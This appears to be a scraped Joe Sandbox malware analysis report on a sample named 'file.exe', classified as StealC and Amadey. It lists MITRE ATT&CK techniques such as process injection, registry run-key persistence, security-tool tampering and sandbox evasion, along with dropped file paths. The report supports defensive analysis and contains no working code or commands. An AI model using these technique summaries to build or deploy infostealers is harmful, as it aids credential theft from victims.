Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe

C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre